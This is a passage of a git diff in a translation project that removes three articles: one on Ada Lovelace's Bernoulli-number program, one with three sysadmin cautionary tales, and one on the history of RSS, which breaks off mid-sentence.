operations could be organized into groups that could be repeated, thereby inventing the loop. She realized how important it was to track the state of variables as they changed, introducing a notation to illustrate those changes. As a programmer myself, I’m startled to see how much of what Lovelace was doing resembles the experience of writing software today. - -So let’s take a closer look at Lovelace’s program. She designed it to calculate the Bernoulli numbers. To understand what those are, we have to go back a couple millennia to the genesis of one of mathematics’ oldest problems. - -### Sums of Powers - -The Pythagoreans lived on the shores of the Mediterranean and worshiped numbers. One of their pastimes was making triangles out of pebbles. - -![][1] - -One pebble followed by a row of two pebbles makes a triangle containing three pebbles. Add another row of three pebbles and you get a triangle containing six pebbles. You can continue like this, each time adding a row with one more pebble in it than the previous row. A triangle with six rows contains 21 pebbles. But how many pebbles does a triangle with 423 rows contain? - -What the Pythagoreans were looking for was a way to calculate the following without doing all the addition: - -They eventually realized that, if you place two triangles of the same size up against each other so that they form a rectangle, you can find the area of the rectangle and divide by two to get the number of pebbles in each of the triangles: - -![][2] - -Archimedes later explored a similar problem. He was interested in the following series: - -You might visualize this series by imagining a stack of progressively larger squares (made out of tiny cubes), one on top of the other, forming a pyramid. Archimedes wanted to know if there was an easy way to tell how many cubes would be needed to construct a pyramid with, say, 423 levels. He recorded a solution that also permits a geometrical interpretation. - -Three pyramids can be fit together to form a rectangular prism with a tiny, one-cube-high extrusion at one end. That little extrusion happens to be a triangle that obeys the same rules that the Pythagoreans used to make their pebble triangles. ([This video][3] might be a more helpful explanation of what I mean.) So the volume of the whole shape is given by the following equation: - -By substituting the Pythagorean equation for the sum of the first n integers and doing some algebra, you get this: - -In 499, the Indian mathematician and astronomer, Aryabhata, published a work known as the Aryabhatiya, which included a formula for calculating the sum of cubes: - -A formula for the sum of the first n positive integers raised to the fourth power wasn’t published for another 500 years. - -You might be wondering at this point if there is a general method for finding the sum of the first n integers raised to the kth power. Mathematicians were wondering too. Johann Faulhaber, a German mathematician and slightly kooky numerologist, was able to calculate formulas for sums of integers up to the 17th power, which he published in 1631. But this may have taken him years and he did not state a general solution. Blaise Pascal finally outlined a general method in 1665, though it depended on first knowing how to calculate the sum of integers raised to every lesser power. To calculate the sum of the first n positive integers raised to the sixth power, for example, you would first have to know how to calculate the sum of the first n positive integers raised to the fifth power. - -A more practical general solution was stated in the posthumously published work of Swiss mathematician Jakob Bernoulli, who died in 1705. Bernoulli began by deriving the formulas for calculating the sums of the first n positive integers to the first, second, and third powers. These he gave in polynomial form, so they looked like the below: - -Using Pascal’s Triangle, Bernoulli realized that these polynomials followed a predictable pattern. Essentially, Bernoulli broke the coefficients of each term down into two factors, one of which he could determine using Pascal’s Triangle and the other which he could derive from the interesting property that all the coefficients in the polynomial seemed to always add to one. Figuring out the exponent that should be attached to each term was no problem, because that also followed a predictable pattern. The factor of each coefficient that had to be calculated using the sums-to-one rule formed a sequence that became known as the Bernoulli numbers. - -Bernoulli’s discovery did not mean that it was now trivial to calculate the sum of the first positive n integers to any given power. In order to calculate the sum of the first positive n integers raised to the kth power, you would need to know every Bernoulli number up to the kth Bernoulli number. Each Bernoulli number could only be calculated if the previous Bernoulli numbers were known. But calculating a long series of Bernoulli numbers was significantly easier than deriving each sum of powers formula in turn, so Bernoulli’s discovery was a big advance for mathematics. - -### Babbage - -Charles Babbage was born in 1791, nearly a century after Bernoulli died. I’ve always had some vague idea that Babbage designed but did not build a mechanical computer. But I’ve never entirely understood how that computer was supposed to work. The basic ideas, as it happens, are not that difficult to grasp, which is good news. Lovelace’s program was designed to run on one of Babbage’s machines, so we need to take another quick detour here to talk about how those machines worked. - -Babbage designed two separate mechanical computing machines. His first machine was called the Difference Engine. Before the invention of the pocket calculator, people relied on logarithmic tables to calculate the product of large numbers. (There is a good [Numberphile video][4] on how this was done.) Large logarithmic tables are not difficult to create, at least conceptually, but the sheer number of calculations that need to be done in order to create them meant that in Babbage’s time they often contained errors. Babbage, frustrated by this, sought to create a machine that could tabulate logarithms mechanically and therefore without error. - -The Difference Engine was not a computer, because all it did was add and subtract. It took advantage of a method devised by the French mathematician Gaspard de Prony that broke the process of tabulating logarithms down into small steps. These small steps involved only addition and subtraction, meaning that a small army of people without any special mathematical aptitude or training could be employed to produce a table. De Prony’s method, known as the method of divided differences, could be used to tabulate any polynomial. Polynomials, in turn, could be used to approximate logarithmic and trigonometric functions. - -To get a sense of how this process worked, consider the following simple polynomial function: - -The method of divided differences involves finding the difference between each successive value of y for different values of x. The differences between these differences are then found, and possibly the differences between those next differences themselves, until a constant difference appears. These differences can then be used to get the next value of the polynomial simply by adding. - -Because the above polynomial is only a second-degree polynomial, we are able to find the constant difference after only two columns of differences: - -x y Diff 1 Diff 2 1 2 2 5 3 3 10 5 2 4 17 7 2 5 ? ? 2 … … … … - -Now, since we know that the constant difference is 2, we can find the value of y when x is 5 through addition only. If we add 2 to 7, the last entry in the “Diff 1” column, we get 9. If we add 9 to 17, the last entry in the y column, we get 26, our answer. - -Babbage’s Difference Engine had, for each difference column in a table like the one above, a physical column of gears. Each gear was a decimal digit and one whole column was a decimal number. The Difference Engine had eight columns of gears, so it could tabulate a polynomial up to the seventh degree. The columns were initially set with values matching an early row in the difference table, worked out ahead of time. A human operator would then turn a crank shaft, causing the constant difference to propagate through the machine as the value stored on each column was added to the next. - -Babbage was able to build a small section of the Difference Engine and use it to demonstrate his ideas at parties. But even after spending an amount of public money equal to the cost of two large warships, he never built the entire machine. Babbage could not find anyone in the early 1800s that could make the number of gears he needed with sufficient accuracy. A working Difference Engine would not be built until the 1990s, after the advent of precision machining. There is [a great video on YouTube][5] demonstrating a working Difference Engine on loan to the Computer History Museum in Mountain View, which is worth watching even just to listen to the marvelous sounds the machine makes while it runs. - -Babbage eventually lost interest in the Difference Engine when he realized that a much more powerful and flexible machine could be built. His Analytical Engine was the machine that we know today as Babbage’s mechanical computer. The Analytical Engine was based on the same columns of gears used in the Difference Engine, but whereas the Difference Engine only had eight columns, the Analytical Engine was supposed to have many hundreds more. The Analytical Engine could be programmed using punched cards like a Jacquard Loom and could multiply and divide as well as add and subtract. In order to perform one of these operations, a section of the machine called the “mill” would rearrange itself into the appropriate configuration, read the operands off of other columns used for data storage, and then write the result back to another column. - -Babbage called his new machine the Analytical Engine because it was powerful enough to do something resembling mathematical analysis. The Difference Engine could tabulate a polynomial, but the Analytical Engine would be able to calculate, for example, the coefficients of the polynomial expansion of another expression. It was an amazing machine, but the British government wisely declined to fund its construction. So Babbage went abroad to Italy to try to drum up support for his idea. - -### Notes by The Translator - -In Turin, Babbage met Italian engineer and future prime minister Luigi Menabrea. He persuaded Menabrea to write an outline of what the Analytical Engine could accomplish. In 1842, Menabrea published a paper on the topic in French. The following year, Lovelace published a translation of Menabrea’s paper into English. - -Lovelace, then known as Ada Byron, first met Babbage at a party in 1833, when she was 17 and he was 41. Lovelace was fascinated with Babbage’s Difference Engine. She could also understand how it worked, because she had been extensively tutored in mathematics throughout her childhood. Her mother, Annabella Milbanke, had decided that a solid grounding in mathematics would ward off the wild, romantic sensibility that possessed Lovelace’s father, Lord Byron, the famous poet. After meeting in 1833, Lovelace and Babbage remained a part of the same social circle and wrote to each other frequently. - -Ada Byron married William King in 1835. King later became the Earl of Lovelace, making Ada the Countess of Lovelace. Even after having three children, she continued her education in mathematics, employing Augustus de Morgan, who discovered De Morgan’s laws, as her tutor. Lovelace saw the potential of Babbage’s Analytical Machine immediately and was eager to work with him to promote the idea. A friend suggested that she translate Menabrea’s paper for an English audience. - -Menabrea’s paper gave a brief overview of how the Difference Engine worked, then showed how the Analytical Engine would be a far superior machine. The Analytical Engine would be so powerful that it could “form the product of two numbers, each containing twenty figures, in three minutes” (emphasis in the original). Menabrea gave further examples of the machine’s capabilities, demonstrating how it could solve a simple system of linear equations and expand the product of two binomial expressions. In both cases, Menabrea provided what Lovelace called “diagrams of development,” which listed the sequence of operations that would need to be performed to calculate the correct answer. These were programs in the same sense that Lovelace’s own program was a program and they were originally published the year before. But as we will see, Menabrea’s programs were only simple examples of what was possible. All of them were trivial in the sense that they did not require any kind of branching or looping. - -Lovelace appended a series of notes to her translation of Menabrea’s paper that together ran much longer than the original work. It was here that she made her major contributions to computing. In Note A, which Lovelace attached to Menabrea’s initial description of the Analytical Engine, Lovelace explained at some length and often in lyrical language the promise of a machine that could perform arbitrary mathematical operations. She foresaw that a machine like the Analytical Engine wasn’t just limited to numbers and could in fact act on any objects “whose mutual fundamental relations could be expressed by those of the abstract science of operations, and which should be also susceptible of adaptations to the action of the operating notation and mechanism of the engine.” She added that the machine might one day, for example, compose music. This insight was all the more remarkable given that Menabrea saw the Analytical Engine primarily as a tool for automating “long and arid computation,” which would free up the intellectual capacities of brilliant scientists for more advanced thinking. The miraculous foresight that Lovelace demonstrated in Note A is one major reason that she is celebrated today. - -The other famous note is Note G. Lovelace begins Note G by arguing that, despite its impressive powers, the Analytical Machine cannot really be said to “think.” This part of Note G is what Alan Turing would later refer to as “Lady Lovelace’s Objection.” Nevertheless, Lovelace continues, the machine can do extraordinary things. To illustrate its ability to handle even more complex problems, Lovelace provides her program calculating the Bernoulli numbers. - -The full program, in the expanded “diagram of development” format that Lovelace explains in Note D, can be seen [here][6]. The program is essentially a list of operations, specified using the usual mathematical symbols. It doesn’t appear that Babbage or Lovelace got as far as developing anything like a set of op codes for the Analytical Engine. - -Though Lovelace was describing a method for computing the entire sequence of Bernoulli numbers up to some limit, the program she provided only illustrated one step of that process. Her program calculated a number that she called B7, which modern mathematicians know as the eighth Bernoulli number. Her program thus sought to solve the following equation: - -In the above, each term represents a coefficient in the polynomial formula for the sum of integers to a particular power. Here that power is eight, since the eighth Bernoulli number first appears in the formula for the sum of positive integers to the eighth power. The B and A numbers represent the two kinds of factors that Bernoulli discovered. B1 through B7 are all different Bernoulli numbers, indexed according to Lovelace’s indexing. A0 through A5 represent the factors of the coefficients that Bernoulli could calculate using Pascal’s Triangle. The values of A0, A1, A3, and A5 appear below. Here n represents the index of the Bernoulli number in the sequence of odd-numbered Bernoulli numbers starting with the first. Lovelace’s program used n = 4. - -I’ve created a [translation][7] of Lovelace’s program into C, which may be easier to follow. Lovelace’s program first calculates A0 and the product B1A1. It then enters a loop that repeats twice to calculate B3A3 and B5A5, since those are formed according to an identical pattern. After each product is calculated, it is added with all the previous products, so that by the end of the program the full sum has been obtained. - -Obviously the C translation is not an exact recreation of Lovelace’s program. It declares variables on the stack, for example, whereas Lovelace’s variables were more like registers. But it makes obvious the parts of Lovelace’s program that were so prescient. The C program contains two `while` loops, one nested inside the other. Lovelace’s program did not have `while` loops exactly, but she made groups of operations and in the text of her note specified when they should repeat. The variable `v10`, in the original program and in the C translation, functions as a counter variable that decrements with each loop, a construct any programmer would be familiar with. In fact, aside from the profusion of variables with unhelpful names, the C translation of Lovelace’s program doesn’t look that alien at all. - -The other thing worth mentioning quickly is that translating Lovelace’s program into C was not that difficult, thanks to the detail present in her diagram. Unlike Menabrea’s tables, her table includes a column labeled “Indication of change in the value on any Variable,” which makes it much easier to follow the mutation of state throughout the program. She adds a superscript index here to each variable to indicate the successive values they hold. A superscript of two, for example, means that the value being used here is the second value that has been assigned to the variable since the beginning of the program. - -### The First Programmer? - -After I had translated Lovelace’s program into C, I was able to run it on my own computer. To my frustration, I kept getting the wrong result. After some debugging, I finally realized that the problem wasn’t the code that I had written. The bug was in the original! - -In her “diagram of development,” Lovelace gives the fourth operation as `v5 / v4`. But the correct ordering here is `v4 / v5`. This may well have been a typesetting error and not an error in the program that Lovelace devised. All the same, this must be the oldest bug in computing. I marveled that, for ten minutes or so, unknowingly, I had wrestled with this first ever bug. - -Jim Randall, another blogger that has [translated Lovelace’s program into Python][8], has noted this division bug and two other issues. What does it say about Ada Lovelace that her published program contains minor bugs? Perhaps it shows that she was attempting to write not just a demonstration but a real program. After all, can you really be writing anything more than toy programs if you aren’t also writing lots of bugs? - -One Wikipedia article calls Lovelace the first to publish a “complex program.” Maybe that’s the right way to think about Lovelace’ accomplishment. Menabrea published “diagrams of development” in his paper a year before Lovelace published her translation. Babbage also wrote more than twenty programs that he never published. So it’s not quite accurate to say that Lovelace wrote or published the first program, though there’s always room to quibble about what exactly constitutes a “program.” Even so, Lovelace’s program was miles ahead of anything else that had been published before. The longest program that Menabrea presented was 11 operations long and contained no loops or branches; Lovelace’s program contains 25 operations and a nested loop (and thus branching). Menabrea wrote the following toward the end of his paper: - -> When once the engine shall have been constructed, the difficulty will be reduced to the making of the cards; but as these are merely the translation of algebraic formulae, it will, by means of some simple notation, be easy to consign the execution of them to a workman. - -Neither Babbage nor Menabrea were especially interested in applying the Analytical Engine to problems beyond the immediate mathematical challenges that first drove Babbage to construct calculating machines. Lovelace saw that the Analytical Engine was capable of much more than Babbage or Menabrea could imagine. Lovelace also grasped that “the making of the cards” would not be a mere afterthought and that it could be done well or done poorly. This is hard to appreciate without understanding her program from Note G and seeing for oneself the care she put into designing it. But having done that, you might agree that Lovelace, even if she was not the very first programmer, was the first programmer to deserve the title. - -If you enjoyed this post, more like it come out every two weeks! Follow [@TwoBitHistory][9] on Twitter or subscribe to the [RSS feed][10] to make sure you know when a new post is out. - - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2018/08/18/ada-lovelace-note-g.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://twobithistory.org/images/triangular_numbers1.png -[2]: https://twobithistory.org/images/triangular_numbers2.png -[3]: https://www.youtube.com/watch?v=aXbT37IlyZQ -[4]: https://youtu.be/VRzH4xB0GdM -[5]: https://www.youtube.com/watch?v=BlbQsKpq3Ak -[6]: https://upload.wikimedia.org/wikipedia/commons/c/cf/Diagram_for_the_computation_of_Bernoulli_numbers.jpg -[7]: https://gist.github.com/sinclairtarget/ad18ac65d277e453da5f479d6ccfc20e -[8]: https://enigmaticcode.wordpress.com/tag/bernoulli-numbers/ -[9]: https://twitter.com/TwoBitHistory -[10]: https://twobithistory.org/feed.xml diff --git a/sources/talk/20181031 3 scary sysadmin stories.md b/sources/talk/20181031 3 scary sysadmin stories.md deleted file mode 100644 index 6810012f57..0000000000 --- a/sources/talk/20181031 3 scary sysadmin stories.md +++ /dev/null @@ -1,124 +0,0 @@ -3 scary sysadmin stories -====== - -Terrifying ghosts are hanging around every data center, just waiting to haunt the unsuspecting sysadmin. - -![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/spooky_halloween_haunted_house.jpg?itok=UkRBeItZ) - -> "It's all just a bunch of hocus pocus!" — Max in [Hocus Pocus][1] - -Over my many years as a system administrator, I've heard many horror stories about the different ghosts that have haunted new admins due to their inexperience. - -Here are three of the stories that stand out to me the most in helping build my character as a good sysadmin. - -### The ghost of the failed restore - -In a well-known data center (whose name I do not want to remember), one cold October night we had a production outage in which thousands of web servers stopped responding due to downtime in the main database. The database administrator asked me, the rookie sysadmin, to recover the database's last full backup and restore it to bring the service back online. - -But, at the end of the process, the database was still broken. I didn't worry, because there were other full backup files in stock. However, even after doing the process several times, the result didn't change. - -With great fear, I asked the senior sysadmin what to do to fix this behavior. - -"You remember when I showed you, a few days ago, how the full backup script was running? Something about how important it was to validate the backup?" responded the sysadmin. - -"Of course! You told me that I had to stay a couple of extra hours to perform that task," I answered. - -"Exactly! But you preferred to leave early without finishing that task," he said. - -"Oh my! I thought it was optional!" I exclaimed. - -"It was, it was…" - -**Moral of the story:** Even with the best solution that promises to make the most thorough backups, the ghost of the failed restoration can appear, darkening our job skills, if we don't make a habit of validating the backup every time. - -### The dark window - -Once upon a night watch, reflecting I was, lonely and tired, -Looking at the file window on my screen. -Clicking randomly, nearly napping, suddenly came a beeping -From some server, sounding gently, sounding on my pager. -"It's just a warning," I muttered, "sounding on my pager— -Only this and nothing more." -Soon again I heard a beeping somewhat louder than before. -Opening my pager with great disdain, -There was the message from a server of the saintly days of yore: -"The legacy application, it's down, doesn't respond," and nothing more. -There were many stories of this server, -Incredibly, almost terrified, -I went down to the data center to review it. -I sat engaged in guessing, what would be the console to restart it -Without keyboard, mouse, or monitor? -"The task level up"—I think—"only this and nothing more." -Then, thinking, "In another rack, I saw a similar server, -I'll take its monitor and keyboard, nothing bad." -Suddenly, this server shut down, and my pager beeped again: -"The legacy application, it's down, doesn't respond", and nothing more. -Bemused, I sat down to call my sysadmin mentor: -"I wanted to use the console of another server, and now both are out." -"Did you follow my advice? Don't use the graphics console, the terminal is better." -Of course, I remember, it was last December; -I felt fear, a horror that I had never felt before; -"It is a tool of the past and nothing more." -With great shame I understood my mistake: -"Master," I said, "truly, your forgiveness I implore; -but the fact is I thought it was not used anymore. -A dark window and nothing more." -"Learn it well, little kid," he spoke. -"In the terminal you can trust, it's your friend and much, much more." -Step by step, my master showed me to connect with the terminal, -And restarting each one -With infinite patience, he taught me -That from that dark window I should not separate -Never, nevermore. - -**Moral of the story:** Fluency in the command-line terminal is a skill often abandoned and considered archaic by newer generations, but it improves your flexibility and productivity as a sysadmin in obvious and subtle ways. - -### Troll bridge - -I'd been a sysadmin for three or four years when one of my old mentors was removed from work. The older man was known for making fun of the new guys in the group—the ones who brought from the university the desire to improve processes with the newly released community operating system. My manager assigned me the older man's office, a small space under the access stairs to the data center—"Troll Bridge," they called it—and the few legacy servers he still managed. - -While reviewing those legacy servers, I realized most of them had many scripts that did practically all the work. I just had to check that they did not go offline due to an electrical failure. I started using those methods, adapting them so my own servers would work the same way, making my tasks more efficient and, at the same time, requiring less of my time to complete them. My day soon became surfing the internet, watching funny videos, and even participating in internet forums. - -A couple of years went by, and I maintained my work in the same way. When a new server arrived, I automated its tasks so I could free myself and continue with my usual participation in internet forums. One day, when I shared one of my scripts in the internet forum, a new admin told me I could simplify it using one novelty language, a new trend that was becoming popular among the new folks. - -"I am a sysadmin, not a programmer," I answered. "They will never be the same." - -From that day on, I dedicated myself to ridiculing the kids who told me I should program in the new languages. - -"You do not know, newbie," I answered every time, "this job will never change." - -A few years later, my responsibilities increased, and my manager wanted me to modify the code of the applications hosted on my server. - -"That's what the job is about now," said my manager. "Development and operations are joining; if you're not willing to do it, we'll bring in some guy who does." - -"I will never do it, it's not my role," I said. - -"Well then…" he said, looking at me harshly. - -I've been here ever since. Hiding. Waiting. Under my bridge. - -I watch from the shadows as the people pass: up the stairs, muttering, or talking about the things the new applications do. Sometimes people pause beneath my bridge, to talk, or share code, or make plans. And I watch them, but they don't see me. - -I'm just going to stay here, in the darkness under the bridge. I can hear you all out there, everything you say. - -Oh yes, I can hear you. -But I'm not coming out. - -**Moral of the story:** "The lazy sysadmin is the best sysadmin" is a well-known phrase that means if we are proactive enough to automate all our processes properly, we will have a lot of free time. The best sysadmins never seem to be very busy; they prefer to be relaxed and let the system do the work for them. "Work smarter not harder." However, if we don't use this free time productively, we can fall into obsoleteness and become something we do not want. The best sysadmins reinvent themselves constantly; they are always researching and learning. - -Following these stories' morals—and continually learning from my mistakes—helped me improve my management skills and create the good habits necessary for the sysadmin job. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/18/10/3-scary-sysadmin-stories - -作者:[Alex Callejas][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/darkaxl -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/Hocus_Pocus_(1993_film) diff --git a/sources/talk/20181218 The Rise and Demise of RSS.md b/sources/talk/20181218 The Rise and Demise of RSS.md deleted file mode 100644 index e260070c5c..0000000000 --- a/sources/talk/20181218 The Rise and Demise of RSS.md +++ /dev/null @@ -1,146 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Rise and Demise of RSS) -[#]: via: (https://twobithistory.org/2018/12/18/rss.html) -[#]: author: (Two-Bit History https://twobithistory.org) - -The Rise and Demise of RSS -====== - -This post was originally published on [September 16th, 2018][1]. What follows is a revision that includes additional information gleaned from interviews with Ramanathan Guha, Ian Davis, Dan Libby, and Kevin Werbach. - -About a decade ago, the average internet user might well have heard of RSS. Really Simple Syndication, or Rich Site Summary—what the acronym stands for depends on who you ask—is a standard that websites and podcasts can use to offer a feed of content to their users, one easily understood by lots of different computer programs. Today, though RSS continues to power many applications on the web, it has become, for most people, an obscure technology. - -The story of how this happened is really two stories. The first is a story about a broad vision for the web’s future that never quite came to fruition. The second is a story about how a collaborative effort to improve a popular standard devolved into one of the most contentious forks in the history of open-source software development. - -In the late 1990s, in the go-go years between Netscape’s IPO and the Dot-com crash, everyone could see that the web was going to be an even bigger deal than it already was, even if they didn’t know exactly how it was going to get there. One theory was that the web was about to be revolutionized by syndication. The web, originally built to enable a simple transaction between two parties—a client fetching a document from a single host server—would be broken open by new standards that could be used to repackage and redistribute entire websites through a variety of channels. Kevin Werbach, writing for Release 1.0, a newsletter influential among investors in the 1990s, predicted that syndication “would evolve into the core model for the Internet economy, allowing businesses and individuals to retain control over their online personae while enjoying the benefits of massive scale and scope.” - -He invited his readers to imagine a future in which fencing aficionados, rather than going directly to an “online sporting goods site” or “fencing equipment retailer,” could buy a new épée directly through e-commerce widgets embedded into their favorite website about fencing. Just like in the television world, where big networks syndicate their shows to smaller local stations, syndication on the web would allow businesses and publications to reach consumers through a multitude of intermediary sites. This would mean, as a corollary, that consumers would gain significant control over where and how they interacted with any given business or publication on the web. - -RSS was one of the standards that promised to deliver this syndicated future. To Werbach, RSS was “the leading example of a lightweight syndication protocol.” Another contemporaneous article called RSS the first protocol to realize the potential of XML. It was going to be a way for both users and content aggregators to create their own customized channels out of everything the web had to offer. And yet, two decades later, after the rise of social media and Google’s decision to shut down Google Reader, RSS appears to be [a slowly dying technology][2], now used chiefly by podcasters, programmers with tech blogs, and the occasional journalist. Though of course some people really do still rely on RSS readers, stubbornly adding an RSS feed to your blog, even in 2018, is a political statement. That little tangerine bubble has become a wistful symbol of defiance against a centralized web increasingly controlled by a handful of corporations, a web that hardly resembles the syndicated web of Werbach’s imagining. - -The future once looked so bright for RSS. What happened? Was its downfall inevitable, or was it precipitated by the bitter infighting that thwarted the development of a single RSS standard? - -### Muddied Water - -RSS was invented twice. This meant it never had an obvious owner, a state of affairs that spawned endless debate and acrimony. But it also suggests that RSS was an important idea whose time had come. - -In 1998, Netscape was struggling to envision a future for itself. Its flagship product, the Netscape Navigator web browser—once preferred by over 80 percent of web users—was quickly losing ground to Microsoft’s Internet Explorer. So Netscape decided to compete in a new arena. In May, a team was brought together to start work on what was known internally as “Project 60.” Two months later, Netscape announced “My Netscape,” a web portal that would fight it out with other portals like Yahoo, MSN, and Excite. - -The following year, in March, Netscape announced an addition to the My Netscape portal called the “My Netscape Network.” My Netscape users could now customize their My Netscape page so that it contained “channels” featuring the most recent headlines from sites around the web. As long as your favorite website published a special file in a format dictated by Netscape, you could add that website to your My Netscape page, typically by clicking an “Add Channel” button that participating websites were supposed to add to their interfaces. A little box containing a list of linked headlines would then appear. - -![A My Netscape Network Channel][3] A My Netscape Network channel for Mozilla.org, as it might look to users -about to add it to their My Netscape page. - -The special file that participating websites had to publish was an RSS file. In the My Netscape Network announcement, Netscape explained that RSS stood for “RDF Site Summary.” This was somewhat of a misnomer. RDF, or the Resource Description Framework, is basically a grammar for describing certain properties of arbitrary resources. (See [my article about the Semantic Web][4] if that sounds really exciting to you.) In 1999, a draft specification for RDF was being considered by the World Wide Web Consortium (W3C), the web’s main standards body. Though RSS was supposed to be based on RDF, the example RSS document Netscape actually released didn’t use any RDF tags at all. In a document that accompanied the Netscape RSS specification, Dan Libby, one of the specification’s authors, explained that “in this release of MNN, Netscape has intentionally limited the complexity of the RSS format.” The specification was given the 0.90 version number, the idea being that subsequent versions would bring RSS more in line with the W3C’s XML specification and the evolving draft of the RDF specification. - -RSS had been created by Libby and two other Netscape employees, Eckart Walther and Ramanathan Guha. According to an email to me from Guha, he and Walther cooked up RSS in the beginning with some input from Libby; after AOL bought Netscape in 1998, he and Walther left and it became Libby’s responsibility. Before Netscape, Guha had worked for Apple, where he came up with something called the Meta Content Framework. MCF was a format for representing metadata about anything from web pages to local files. Guha demonstrated its power by developing an application called [HotSauce][5] that visualized relationships between files as a network of nodes suspended in 3D space. Immediately after leaving Apple for Netscape, Guha worked with a Netscape consultant named Tim Bray, who in a post on his blog said that he and Guha eventually produced an XML-based version of MCF that in turn became the foundation for the W3C’s RDF draft. It’s no surprise, then, that Guha, Walther, and Libby were keen to build on Guha’s prior work and incorporate RDF into RSS. But Libby later wrote that the original vision for an RDF-based RSS was pared back because of time constraints and the perception that RDF was “‘too complex’ for the ‘average user.’” - -While Netscape was trying to win eyeballs in what became known as the “portal wars,” elsewhere on the web a new phenomenon known as “weblogging” was being pioneered. One of these pioneers was Dave Winer, CEO of a company called UserLand Software, which developed early content management systems that made blogging accessible to people without deep technical fluency. Winer ran his own blog, [Scripting News][6], which today is one of the oldest blogs on the internet. More than a year before Netscape announced My Netscape Network, on December 15, 1997, Winer published a post announcing that the blog would now be available in XML as well as HTML. - -Dave Winer’s XML format became known as the Scripting News format. It was supposedly similar to Microsoft’s Channel Definition Format (a “push technology” standard submitted to the W3C in March, 1997), but I haven’t been able to find a file in the original format to verify that claim. Like Netscape’s RSS, it structured the content of Winer’s blog so that it could be understood by other software applications. When Netscape released RSS 0.90, Winer and UserLand Software began to support both formats. But Winer believed that Netscape’s format was “woefully inadequate” and “missing the key thing web writers and readers need.” It could only represent a list of links, whereas the Scripting News format could represent a series of paragraphs, each containing one or more links. - -In June 1999, two months after Netscape’s My Netscape Network announcement, Winer introduced a new version of the Scripting News format, called ScriptingNews 2.0b1. Winer claimed that he decided to move ahead with his own format only after trying but failing to get anyone at Netscape to care about RSS 0.90’s deficiencies. The new version of the Scripting News format added several items to the `
` element that brought the Scripting News format to parity with RSS. But the two formats continued to differ in that the Scripting News format, which Winer nicknamed the “fat” syndication format, could include entire paragraphs and not just links. - -Netscape got around to releasing RSS 0.91 the very next month. The updated specification was a major about-face. RSS no longer stood for “RDF Site Summary”; it now stood for “Rich Site Summary.” All the RDF—and there was almost none anyway—was stripped out. Many of the Scripting News tags were incorporated. In the text of the new specification, Libby explained: - -> RDF references removed. RSS was originally conceived as a metadata format providing a summary of a website. Two things have become clear: the first is that providers want more of a syndication format than a metadata format. The structure of an RDF file is very precise and must conform to the RDF data model in order to be valid. This is not easily human-understandable and can make it difficult to create useful RDF files. The second is that few tools are available for RDF generation, validation and processing. For these reasons, we have decided to go with a standard XML approach. - -Winer was enormously pleased with RSS 0.91, calling it “even better than I thought it would be.” UserLand Software adopted it as a replacement for the existing ScriptingNews 2.0b1 format. For a while, it seemed that RSS finally had a single authoritative specification. - -### The Great Fork - -A year later, the RSS 0.91 specification had become woefully inadequate. There were all sorts of things people were trying to do with RSS that the specification did not address. There were other parts of the specification that seemed unnecessarily constraining—each RSS channel could only contain a maximum of 15 items, for example. - -By that point, RSS had been adopted by several more organizations. Other than Netscape, which seems to have lost interest after RSS 0.91, the big players were Dave Winer’s UserLand Software; O’Reilly Net, which ran an RSS aggregator called Meerkat; and Moreover.com, which also ran an RSS aggregator focused on news. Via mailing list, representatives from these organizations and others regularly discussed how to improve on RSS 0.91. But there were deep disagreements about what those improvements should look like. - -The mailing list in which most of the discussion occurred was called the Syndication mailing list. [An archive of the Syndication mailing list][7] is still available. It is an amazing historical resource. It provides a moment-by-moment account of how those deep disagreements eventually led to a political rupture of the RSS community. - -On one side of the coming rupture was Winer. Winer was impatient to evolve RSS, but he wanted to change it only in relatively conservative ways. In June, 2000, he published his own RSS 0.91 specification on the UserLand website, meant to be a starting point for further development of RSS. It made no significant changes to the 0.91 specification published by Netscape. Winer claimed in a blog post that accompanied his specification that it was only a “cleanup” documenting how RSS was actually being used in the wild, which was needed because the Netscape specification was no longer being maintained. In the same post, he argued that RSS had succeeded so far because it was simple, and that by adding namespaces (a way to explicitly distinguish between different RSS vocabularies) or RDF back to the format—some had suggested this be done in the Syndication mailing list—it “would become vastly more complex, and IMHO, at the content provider level, would buy us almost nothing for the added complexity.” In a message to the Syndication mailing list sent around the same time, Winer suggested that these issues were important enough that they might lead him to create a fork: - -> I’m still pondering how to move RSS forward. I definitely want ICE-like stuff in RSS2, publish and subscribe is at the top of my list, but I am going to fight tooth and nail for simplicity. I love optional elements. I don’t want to go down the namespaces and schema road, or try to make it a dialect of RDF. I understand other people want to do this, and therefore I guess we’re going to get a fork. I have my own opinion about where the other fork will lead, but I’ll keep those to myself for the moment at least. - -Arrayed against Winer were several other people, including Rael Dornfest of O’Reilly, Ian Davis (responsible for a search startup called Calaba), and a precocious, 14-year-old Aaron Swartz. This is the same Aaron Swartz that would later co-found Reddit and become famous for his hacktivism. (In 2000, according to an email to me from Davis, his dad often accompanied him to technology meetups.) Dornfest, Davis, and Swartz all thought that RSS needed namespaces in order to accommodate the many different things everyone wanted to do with it. On another mailing list hosted by O’Reilly, Davis proposed a namespace-based module system, writing that such a system would “make RSS as extensible as we like rather than packing in new features that over-complicate the spec.” The “namespace camp” believed that RSS would soon be used for much more than the syndication of blog posts, so namespaces, rather than being a complication, were the only way to keep RSS from becoming unmanageable as it supported more and more use cases. - -At the root of this disagreement about namespaces was a deeper disagreement about what RSS was even for. Winer had invented his Scripting News format to syndicate the posts he wrote for his blog. Netscape had released RSS as “RDF Site Summary” because it was a way of recreating a site in miniature within the My Netscape online portal. Some people felt that Netscape’s original vision should be honored. Writing to the Syndication mailing list, Davis explained his view that RSS was 